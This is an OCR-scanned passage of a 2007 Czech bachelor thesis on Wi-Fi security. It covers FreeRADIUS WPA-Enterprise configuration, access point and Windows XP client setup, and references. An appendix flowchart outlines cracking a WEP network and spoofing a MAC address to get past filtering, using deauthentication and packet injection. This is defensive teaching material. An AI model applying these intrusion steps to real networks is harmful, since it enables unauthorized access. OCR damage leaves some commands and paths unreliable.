nepiijemné protoze velmi bezpecnou vymeénu certifikath pii pfipojeni klienta
do sit¢ kazi Spatna implementace WPA v opera¢nim systému Windows XP a

bez chyby nejsou ani supplicant programy pro Linux.

V ideadlnim ptipad¢, by se supplicant mél pii prvnim pouziti dotdzat na
tajnou frazi a az po jejim spravném zadani se stane certifikat platnym.
Kam s cerifikaty?

o client cert.pl?2 - klienti s OS Windows XP
o client cert.pem - klienti s OS Linux
e server keycert.pem - adresar s certs v konfiguraci FreeRadius serveru

(pravdépodobné /etc/freeradius/certs/ ) s pravy pro ¢teni.

Diirazné doporucuji zbylé kopie certifikatli smazat, aby nemohly byt zneuzity.
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8.3.2 Konfigurace serveru

Aby FreeRadius spravné fungoval potiebuje dva soubory s nahodnymi
daty. Pro n€ vytvofime adresdf /eftc/wireless-auth/ a pouzijeme generator
nahodnych c¢isel programu bind. To Ize provést nasledujicimi ptikazy:

/usr/sbin/dns-keygen > /etc/wireless-auth/DH
lusr/sbin/dns-keygen > /etc/wireless-auth/random
chown root:radius /etc/wireless-auth/DH /etc/wireless-auth/random

chmod 0640 /etc/wireless-auth/DH /etc/wireless-auth/random
{usr/sbin/dnskeygen | head -c 31

Pokud neni vytvotena skupina uzivatelii radius, je potieba ji vytvorit v
souboru /etc/group.
Konfiguraéni soubory

Piehled konfigura¢nich souborti zobrazuje nasledujici tabulka:

Tabulka &. 11 Piehled konfiguracnich soubori serveru FreeRADIUS

soubor popis
radiusd.conf hlavni konfigura¢ni soubor
clients.conf konfigurace ptistupovych bodi (AP) pro pfistup

k RADIUS serveru (IP, shared secret)

users seznam uzivatelt

dictionary definuje mozné RADIUS atributy pouzité v konfigurac¢nich
souborech

huntgroups definuje skupiny uzivalil

hints prevod z logini RADIUS serveru na loginy pouzité v

/etc/passwd nen

Detailni popis jednotlivych konfiguraéni soubori je v manualovych
strankach serveru FreeRADIUS (ptikaz: man radiusd), nebo na webovych

strankach projektu FreeRADIUS.

Radiusd.conf

V souboru radiusd.conf je tfeba upravit polozku ,,eap* v ¢asti MODULE
CONFIGURATION (miize se nachazet i v souboru eap.conf zéalezi na verzi

freeradius serveru) podle nésledujiciho vzoru:
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# MODULE CONFIGURATION

modules {
eap {
default_eap_type = tls
timer_expire = 60
tls {

private_key password = (cesta k souboru s heslem
k servrovému privatnimu klici)

#cesta k certifikatu privatniho klice

#pokud je kli¢ i certifikat v jednom souboru cesta bude stejna
private_key_file = /etc/wireless-auth/server-name.pem

# cesta k souboru certifikatu
certificate_file = /etc/wireless-auth/server-name.pem

# certifikat certifikacni autority
CA _file = /etc/wireless-auth/root.pem

#cesta k souborim s nahodnymi daty
dh_file = /etc/wireless-auth/DH
random_file = /etc/wireless-auth/random

fragment_size = 1024
include_length = yes

Podrobné;jsi informace jsou na webové adrese

wiki.freeradius.org/WPA_ HOWTO.

Clients.conf

Dalsim krokem je nastaveni seznamu povolenych AP v souboru
clients.conf. K tomu je potifeba znat typ NAS vaseho AP, pokud ho neni

v dokumentaci pfistupového bodu pouzijte other. Vzor:

# clients.conf
# Network access points that authenticate throught RADIUS
specified here
# The wireless access point
client ,(ip adresa AP)“{
secret = (RADIUS tajny sdileny Klic)
shortname = (jméno pro logovani)
nastype = (NAS typ, pokud nepouZivate zafizeni 3Com
nebo Cisco potom “other”)
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Users

Poslednim konfigura¢nim souborem, ktery je potieba upravit je soubor
users. V ném je zapis pro kazdého klieta, ktery ma povolen piistup do Wi-Fi
sit€. Dulezita je polozka DEFAULT. Urcuje operaci serveru automaticky s
klienty nevyhovujici zddnému zdznamu v souboru. Standartné je nastaveno

reject (odmitnout). Vzor:
Jmeéno klienta“ Auth-Type := EAP
DEFAULT Auth-Type := Reject
Reply-Message = “(hlaseni klientovy o zamitnuti
pfistupu)”
Spusténi FreeRadius serveru

Standartni spusténi se provede pfikazem z konzole:

radiusd start

nebo

lusr/sbin/radiusd start
Pro debug mod s vypisem co server pravé provadi slouzi stejny piikaz

jen s parametry X a A. Tedy:
radiusd -X -A
8.3.3 Nastaveni AP

Pristupové body v pripadé Tynecky.NET routerboardy Mikrotik se
nastavi pro spolupraci s Radius serverem vybérem médu WPA Enterprise. A

vyplnénim nasledujicich polozek.
e Security Mode — WPA Enterprise
e RADIUS Server - IP adresa radius serveru
e WPA Algoritmus — TKIP nebo AES
e RADIUS port - port na kterém naslouchéd FreeRadius standartné 1812

e RADIUS key - Tajny kli¢ zadany v clients.conf souboru FreeRadiusu

v Casti pro praveé nastavované AP.
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8.3.4 Nastaveni klienta

Konfigurace klientii se systémem Windows XP

1))
2)
3)
4)
5)

6)
7)

8)

9)

Nainstalovat klientsky certifikat pro Windows XP

Otevrit nabidku na vybér bezdratoveé sité

Zvolit ,,Zménit upresnujici nastaveni* otevie se nova nabidka.
Vybrat kartu ,,Bezdratové site*

Zaskrtnout polozku ,,Konfigurovat nastaveni bezdratové site
pomoci systemu Windows*.

Kliknout na tlacitko ,,Pfidat” v seznamu upiednostiiovanych siti.
Zadat SSID sité (napt. AP-Hospoda.Tynecky NET)

Oveéfeni v siti nastavit na WPA, Sifrovani dat bude stejné jako je
nastaveno na AP (TKIP nebo AES)

Ptejit na kartu ,,Ovérovani*

10) Zaskrtnout ,,Ov¢étit jako pocitac ... ,

11) Odskrtnout ,,Ovéfit jako hosta v ... ,,

12) Typ protokolu EAP: ,,Karta SmartCard nebo jiny certifikat

13) Otevtit vlastnosti a zvolit ,,PouZit certifikat v tomto pocitaci®

14) Zaskrtnout ,,Pouzit zjednoduseny vybeér certifikatu‘

15) Zaskrtnout ,,Overit certifikat serveru™

16) Odskrtnout ,,Pripojit k témto serverim*

17) V seznamu certifikatd vybrat vytvoreny certifikat

18) Odskrtnout ,,Pro pripojeni pouzit jiné uzivatelské jméno*

19) Potvrdit stiskem OK ve vSech otevienych oknech.
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8 Zaver

Bezdratové technologie se dlouhou dobu rozsifovaly jen v soukromém
sektoru. V podnikové sféfe neujaly, protoze donedavna predstavovaly ,,slabé
misto*“. Divodem bylo zabezpeceni, které bylo az do uvedeni WPA na velmi
Spatné urovni. OvSem s piichodem 802.111 (WPA2) je zabezpeceni srovnatelné
s kabelovymi sitémi, pfesto se i dnes najdou sité postradajici i zdkladni WEP
zabezpeCeni a to nejen v soukromém sektoru. VétSinu uzivateli domacich
pfistupovych bodl odradila slozitost nastaveni. Na vin€ nejsou jen uzivatelé,
ale 1 vyrobci. Ne kazdy mé ¢as a chut’ né¢kolik hodin badat o vyznamu pojmt
SSID, Probe request, MAC restriction, WEP, aj. V posledni dob¢ se situace
zlepsuje. V stale silici konkurenci je kazda vyhoda dobra a tak vyrobci houfné
certifikuji svoje zafizeni znackou ,,Wi-Fi Easy Setup®, kterou ud¢luje Wi-Fi
Alliance zafizeni obsahujici ,,prtivodce®. Ten uzivatele formou jednoduchych
dotazli provede celou instalaci a ve vysledku vznikne dobfe zabezpeceny

pfistupovy bod, jehoz instalaci zvladne i amatér.

Tato prace by méla piinést uzitek zejména lidem zajimajicim se o
bezdratové sit¢ hloubé&ji, nez obycejny uzivatel. Moji snahou bylo podivat se na
bezdratovou sit’ z dvou rtiznych thli. Prvni pohled patii sprévci sité, ktery ma
uz z podstaty své funkce piistup vSude a nemusi obchazet zadné bezpecnostni
mechanismy. To je pohled ,,zevniti“. Druhy je pohled pfipadné¢ho uto¢nika
s cilem pfipojit se do zabezpecCené bezdratové sit¢ (pohled ,,zvenku*). Neni od
véci, aby si koukajici ,,zevniti alesponi jednou zkusil podivat se na svou sit’ 1
z druhého pohledu. Tyto zkuSenosti se vyplati pfi navrhu nové sité, nebo pii

jejim vylepSovani. Navic vzdy se miiZe objevit bezpecnostni mezera.

-83-



Pouzité zdroje

[1]

2]

[3]

[4]

[5]

[6]

[7]

[8]

[9]

[10]

ZANDL, P. Bezdratové sit¢ WiFi: prakticky privodce. 1. vyd. Dotisk
Brno: Computer Press, 2006. ISBN 80-7226-632-2

Wi-Fi. Wikipedia.org, Inc. ¢2007
Dostupny z WWW: http://en.wikipedia.org/wiki/Wifi

Wi-Fi. Wikipedia.cz, Inc. c2006
Dostupny z WWW: http://cs.wikipedia.org/wiki/Wifi

maestro. (8. 10 2006). xmaestro.com. Ziskano 15. 3 2007, dostupny z
http://www.xmaestro.com/view.php?cisloclanku=2006100024

KOUCKY, Jan. Moznosti bezpe&nostnich mechanismii pouZivanych v
bezdratovych sitich a jejich aplikacni aspekty. Pardubice, 2004. 57 s.
Univerzita Pardubice Ustav elektrotechniky a informatiky. Bakalaiska

prace.

DISABATO, Michael. Wi-Fi Protected AccesTM Locking Down the
Link [online]. Wi-Fi  Alliance, 2003. Dostupny z WWW:
http://www.wi-fi.org/files/kc_ 17 WPA%20Web%20Cast 6-11-03.pdf

Ptehled aktualizace zabezpeCeni bezdratovych siti WPA v systému
Windows XP [online]. Microsoft Corporation, 1998 , 14. zati 2006 [cit.
2007-04-12]. Cesky. Dostupny z WWW:
<http://support.microsoft.com/?kbid=815485>.

JAIN, Raj. Raj Jain : Professor Washington University in St. Louis
[online]. Saint Louis : Raj Jain, 1998. Anglicky. Dostupny z WWW:

<http://www.cse.wustl.edu/~jain/index _tr.html>.

PUZMANOVA, Rita. Novinky v certifikacich WiFi a WiMAX. LUPA
: server o Ceském internetu [online]. 2006. Dostupny z WWW:

<http://www.lupa.cz/clanky/novinky-v-certifikacich-wifi-a-wimax/>.

BORISOV, Nikita, GOLDBERG, Ian, WAGNER, David. Security of
the WEP algorithm [online]. 2001. Dostupny z WWW:

<http://www.isaac.cs.berkeley.edu/isaac/wep-faq.html>.

-84-



[11]

[12]

[13]

[14]

[15]

[16]

[17]

[18]

[19]

ODVARKA, Petr. Doporu¢eni pro konfiguraci WiFi siti. Svét siti
[online]. 2004. Dostupny z WWW:
<http://www.svetsiti.cz/view.asp?rubrika=Tipy&clanekID=98>.

The FreeRADIUS Project [online]. 1999. 1999 |, 4.12.2006. Anglicky.
Dostupny z WWW: <http://www.freeradius.org/>.

FreeRADIUS Wiki [online]. [2001]. Anglicky. Dostupny z WWW:

<http://wiki.freeradius.org>.

Seznameni s Mikrotik RouterOS. Www.routeros.cz [online]. 2005.
Dostupny z WWW:

<http://www.routeros.cz/data/mikrotik seznameni.pdf>.

PANEK, Ji#i . TyneckyNet [online]. 2005 , 23.4.2007. Dostupny z
WWW: <http://www.tynecky.net/>.

Hacking WiFi siti v praxi. Security-portal [online]. 2007. Dostupny z
WWW: <http://www.security-portal.cz/clanky/hacking-wifi-siti-v-

praxi.html>.
Aircrak-ng [online]. [2002]. Dostupny z WWW: <http://aircrack-
ng.org>.

KUHN, Jifi. WiFi na PfF UK : Centrum informacnich technologii
[online]. Praha : Centrum informacénich technologii PfF UK, 2006.
Dostupny z WWW: <http://wifi.natur.cuni.cz/>.

HARING, David . Jak zvolit bezpe¢né heslo?. Linuxzone.cz [online].
2002. Dostupny z WWW:

<http://www.linuxzone.cz/index.phtml?ids=1&i1dc=398>.

-85-



Seznam obrazku

Obrazek ¢.

Obrazek ¢.

Obrazek ¢.

Obrazek ¢.

Obrazek ¢.

Obrazek ¢.

Obrazek ¢.

Obrazek ¢.

Obrazek ¢.

Obrazek ¢.

Obrazek ¢.

Obrazek ¢.

Obrazek ¢.

Obrazek ¢.

Obrazek ¢.

Obrazek ¢.

Obrazek ¢.

Obrazek ¢.

Obrazek ¢.

Obrazek ¢.

Obrazek ¢.

1T WI-F110Z0 (2) coeieieeeee et 13
2 Schéma jednoduché Wi-Fi sit€ ........cccoeoivviiiiiiniiiieieeies 16
3 Open System aUtENTIZACE ......ccuveeveereieeieeiieeieeriee e ereeeeeeeneeens 19
4 Shared Key autentizace..........ccveeeuveeeiieeeeiieenieeesveeeiieeevee e 20
5 Filtrace MAC adres.........cooueeieeiiiiieeieeieeeeeeee e 22
6 WEP SifrovaAni (8) ....ocveeviiieiiiieiierteieceeeee e 23
7 WEP deSifrovani (8)....cccvveeeririerieieeieeieieeeee e 24
8 802.11 @ WEP TAMCE....ccuiiiiiiiiiiiiiceiceeceeeeeeee e 25
0 802.1X QULENLIZACE ... .eeeeeeniieiieeiieiee ettt 26
1O WPA TAMEC ...cuviiiiieiieiecieeeece e 29
LT AES-CCMP (2) ceeeeteiieeeeeeee ettt 35
|\ - Tol Y -1 (1 U ) USSR 43
13 WEP 1AmMec (11)ueieiieiiieiiee e 45
14 Sifrovany datovy provoz v programu WireShark ..................... 51
15 Desifrovany datovy provoz v programu Ethereal...................... 51
16 Topologie Wi-Fi sit€ TyneckyNet ........cccceevvverevvieerieeeieeeen. 59
17 Odposlech provozu programem airdump-ng .........ccccceeeeernnene 65
18 Odpojeni ptipojeného klienta pomoci death paketu ................. 67
19 Asociace s AP pomoci programu Aireplay-ng ............cccceeneeen. 68
20 Generovani provozu programem Aireplay-ng.........ccccocveeeeen. 69
21 Aircrack-ng odvodil tajny KIHC ......ccceevieniiiiiiiiiiieiee, 71

-86-



Seznam tabulek

Tabulka €. 1 Piehled standart 802.11 (2).c..ecvevieiierienieienieneeieeeeeeene 15
Tabulka €. 2 Délky Sifrovacich KIiCG u WEP .........cccoiiiiiiiiiiieieieeee, 24
Tabulka ¢. 3 Prehled klica algorimti TKIP a AES-CCMP.........ccccccvvevnvvenenn. 34
Tabulka €. 4 Porovnani Sifrovacich algoritmil (9)........cocceeviieniieiiiniiiiiees 36
Tabulka €. 5 Doporucené uplatnéni jednotlivych zabezpeceni (9) .................. 37
Tabulka &. 6 Cas do vy&erpani inicializaénich veKtorti..............oooevevevevennnnne. 46
Tabulka ¢. 7 Pfehled parametri programu airdump-ng ..........cccceeeevveercrveennnenn. 64
Tabulka €. 8 Airdump-ng INtETface ........cccueeveiiiieiiieiieie e 66
Tabulka €. 9 Potfebné mnozstvi IV k odvozeni tajného klice...........c.cceeune... 69
Tabulka ¢. 10 Piehled parametrti programu aircrack-ng............cccceeeveerviennnnnn. 70
Tabulka €. 11 Piehled konfiguracnich souborti serveru FreeRADIUS. ............ 79

-87-



Priloha A

detekce a wybér bezdratove sité

y

zname SsIOY

h i +

pormoci injekce death packetd
Zjistime SSID sité

v

zatneme s odposlechem sité

¥

zactneme s odvozovanim

WWER klice
urychlime ziskavani v i =
i generovanim provozu injektazi paketd |

Mame dost IV pro
odvozeni WER klice?

pokracujeme = odposlechem |«

nastawyme si Zjistény
YWER KIiE na nasi bezdratove karté

zmeéni MAC nasi bezdratove karty »
na MAC klienta sité

A

Sit* pouZiva MAC restriction.
Z odposlechnutého provozu zjistime
MAC néktereho z pripojenych
klientd

Podafilo se piipojit
do sité?

analyzou provozu v siti
zjistéte branu, DMNS a vhodnou IP

pridélilo wam IP adresu
DHCF ¢

-88-



UDAJE PRO KNIHOVNICKOU DATABAZI

Nazev prace

Bezpecnost bezdratové sité s vyuzitim Wi-Fi

technologie
Autor prace Milan Matys
Obor Informacni technologie
Rok obhajoby [2007

Vedouci prace

Ing. Miloslav Machacek

Anotace

Bezpecnostni mechanismy Wi-Fi siti a zptsoby
jejich prolomeni. Navrh zabezpeceni bezdratové

sité TyneckyNet.

Kli¢ova slova

WiFi, Wi-Fi, bezpetnost, bezdratova sit,
zabezpeceni, WEP, WPA, 802.11i, 802.11x,
RADIUS, Man-in-the-Middle, Radius,

autentizace, autorizace




